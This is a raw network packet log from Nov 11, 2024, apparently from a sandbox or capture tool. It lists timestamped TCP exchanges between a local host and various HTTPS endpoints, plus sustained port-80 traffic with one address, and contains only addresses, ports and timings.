Nov 11, 2024 19:17:52.257464886 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.257570982 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.259335995 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.259351015 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.277247906 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:52.299582005 CET	443	49844	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:52.303296089 CET	49844	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:52.303318977 CET	443	49844	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:52.303751945 CET	443	49844	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:52.304244995 CET	49844	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:52.304322004 CET	443	49844	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:52.304327011 CET	443	49843	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:52.307073116 CET	49843	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:52.307097912 CET	443	49843	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:52.307460070 CET	443	49843	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:52.310492992 CET	49843	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:52.310564041 CET	443	49843	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:52.350976944 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:52.353696108 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:52.365295887 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.365339041 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.366050005 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.366050005 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.366085052 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.368545055 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:52.368545055 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:52.368560076 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:52.368568897 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:52.380979061 CET	49860	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:52.381016970 CET	443	49860	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:52.381161928 CET	49860	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:52.383030891 CET	49860	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:52.383044958 CET	443	49860	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:52.408895016 CET	49844	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:52.408992052 CET	49843	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:52.436549902 CET	443	49846	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:52.436866999 CET	49846	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:52.436897993 CET	443	49846	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:52.437238932 CET	443	49846	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:52.437750101 CET	443	49845	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:52.437797070 CET	49846	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:52.437887907 CET	443	49846	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:52.438123941 CET	49845	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:52.438142061 CET	443	49845	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:52.438493967 CET	443	49845	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:52.439344883 CET	49845	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:52.439419031 CET	443	49845	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:52.486824036 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.492628098 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.502672911 CET	49845	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:52.586608887 CET	49698	443	192.168.2.7	104.98.116.138
Nov 11, 2024 19:17:52.592603922 CET	443	49698	104.98.116.138	192.168.2.7
Nov 11, 2024 19:17:52.612112999 CET	49846	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:52.636782885 CET	443	49848	108.139.47.108	192.168.2.7
Nov 11, 2024 19:17:52.637367010 CET	49848	443	192.168.2.7	108.139.47.108
Nov 11, 2024 19:17:52.637393951 CET	443	49848	108.139.47.108	192.168.2.7
Nov 11, 2024 19:17:52.637787104 CET	443	49848	108.139.47.108	192.168.2.7
Nov 11, 2024 19:17:52.637938023 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.638113976 CET	49848	443	192.168.2.7	108.139.47.108
Nov 11, 2024 19:17:52.638197899 CET	443	49848	108.139.47.108	192.168.2.7
Nov 11, 2024 19:17:52.638501883 CET	49848	443	192.168.2.7	108.139.47.108
Nov 11, 2024 19:17:52.638714075 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.638726950 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.639224052 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.639353037 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.639537096 CET	49850	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.639553070 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.639771938 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.639859915 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.639890909 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.640059948 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.640281916 CET	49850	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.640357018 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.640440941 CET	49850	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.640827894 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.640995026 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.641009092 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.641875029 CET	443	49854	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.642209053 CET	49854	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.642215967 CET	443	49854	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.642267942 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.642333984 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.642884016 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.642965078 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.642996073 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.643208027 CET	443	49854	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.643326044 CET	49854	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.646320105 CET	49863	443	192.168.2.7	23.101.168.44
Nov 11, 2024 19:17:52.646356106 CET	443	49863	23.101.168.44	192.168.2.7
Nov 11, 2024 19:17:52.646411896 CET	49863	443	192.168.2.7	23.101.168.44
Nov 11, 2024 19:17:52.647131920 CET	49863	443	192.168.2.7	23.101.168.44
Nov 11, 2024 19:17:52.647150993 CET	443	49863	23.101.168.44	192.168.2.7
Nov 11, 2024 19:17:52.647558928 CET	49854	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.647629976 CET	443	49854	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.647746086 CET	49854	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.647763968 CET	443	49854	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.651341915 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.651580095 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.651591063 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.653462887 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.653547049 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.653908968 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.653999090 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.654129028 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.654136896 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.683330059 CET	443	49848	108.139.47.108	192.168.2.7
Nov 11, 2024 19:17:52.687321901 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.687330008 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.687331915 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.687454939 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.687483072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.687496901 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.687510014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.687536001 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.687562943 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.688266993 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.688280106 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.688291073 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.688303947 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.688314915 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.688322067 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.688340902 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.688359022 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.688661098 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.688673973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.688684940 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.688705921 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.688724995 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.695353031 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.696404934 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.696424007 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.697556973 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.697624922 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.699043989 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.699120045 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.699470043 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.699481010 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.705816984 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.705847025 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.705883026 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.706707954 CET	443	49847	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.736844063 CET	443	49848	108.139.47.108	192.168.2.7
Nov 11, 2024 19:17:52.737396955 CET	443	49848	108.139.47.108	192.168.2.7
Nov 11, 2024 19:17:52.737410069 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.737431049 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.737436056 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.737467051 CET	49848	443	192.168.2.7	108.139.47.108
Nov 11, 2024 19:17:52.737500906 CET	49850	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.737520933 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.737535954 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.737543106 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.737550974 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.737590075 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.737591028 CET	49850	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.740865946 CET	443	49854	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.740933895 CET	443	49854	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.740940094 CET	49854	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.743110895 CET	49854	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.752919912 CET	443	49849	20.110.205.119	192.168.2.7
Nov 11, 2024 19:17:52.760665894 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.760689974 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.760699034 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.760797024 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.760824919 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.760890961 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.763458014 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.763504982 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.763570070 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.767611980 CET	443	49856	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.767678022 CET	443	49857	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.774177074 CET	443	49855	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.800559998 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.800578117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.800678015 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.800693035 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.800708055 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.800714970 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.800733089 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.800745964 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.800745964 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.800784111 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.801484108 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.801496983 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.801515102 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.801541090 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.801553965 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.802330017 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.802341938 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.802347898 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.802366018 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.802376986 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.802383900 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.802393913 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.802408934 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.802413940 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.802432060 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.802455902 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.803225994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.803296089 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.803308010 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.803323984 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.803334951 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.803335905 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.803359985 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.803375006 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.803937912 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.803982019 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.804158926 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.804425001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.804470062 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.805646896 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.805691004 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.807527065 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.807573080 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.807596922 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.807632923 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.807652950 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.807673931 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.807696104 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.808195114 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.808209896 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.808274031 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.808293104 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.808303118 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.808329105 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.808357000 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.808427095 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.814388990 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.814424038 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.814466953 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.814476013 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.814488888 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.814507961 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.814533949 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.814538956 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.814577103 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.815206051 CET	49856	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.815213919 CET	49857	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.815233946 CET	49849	443	192.168.2.7	20.110.205.119
Nov 11, 2024 19:17:52.816137075 CET	49855	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.826843977 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.826867104 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.827558994 CET	49849	443	192.168.2.7	20.110.205.119
Nov 11, 2024 19:17:52.827569962 CET	443	49849	20.110.205.119	192.168.2.7
Nov 11, 2024 19:17:52.827835083 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.827891111 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.827977896 CET	443	49849	20.110.205.119	192.168.2.7
Nov 11, 2024 19:17:52.829552889 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:52.829621077 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:52.829679966 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:52.830413103 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.830482006 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.833961964 CET	49849	443	192.168.2.7	20.110.205.119
Nov 11, 2024 19:17:52.834055901 CET	443	49849	20.110.205.119	192.168.2.7
Nov 11, 2024 19:17:52.841778040 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:52.841820955 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:52.841826916 CET	49858	443	192.168.2.7	23.219.161.135
Nov 11, 2024 19:17:52.841841936 CET	443	49858	23.219.161.135	192.168.2.7
Nov 11, 2024 19:17:52.889110088 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.889139891 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.889233112 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.889265060 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.889311075 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.894968987 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.895013094 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.895051956 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.895061016 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.895097971 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.895112038 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.895957947 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.896020889 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.896970034 CET	443	49860	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:52.896975040 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.897005081 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.897064924 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.897075891 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.897114038 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.908931971 CET	49847	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.911365032 CET	49859	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.911391020 CET	443	49859	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.913479090 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.913494110 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.913563967 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.913603067 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.913614035 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.913640976 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.913666964 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914117098 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914129019 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914145947 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914155006 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914158106 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914170980 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914171934 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914186954 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914191008 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914222002 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914390087 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914422989 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914437056 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914449930 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914484024 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914664984 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914676905 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914689064 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914695024 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914711952 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914724112 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914724112 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914737940 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914748907 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.914763927 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914773941 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.914788961 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915014029 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915034056 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915047884 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915066957 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915083885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915091038 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915115118 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915275097 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915296078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915330887 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915340900 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915375948 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915410042 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915422916 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915432930 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915442944 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915461063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915476084 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915657997 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915678024 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915692091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915692091 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915710926 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915725946 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:52.915775061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:52.915788889 CET	80	49794	185.215.113.206	192.168.2.7
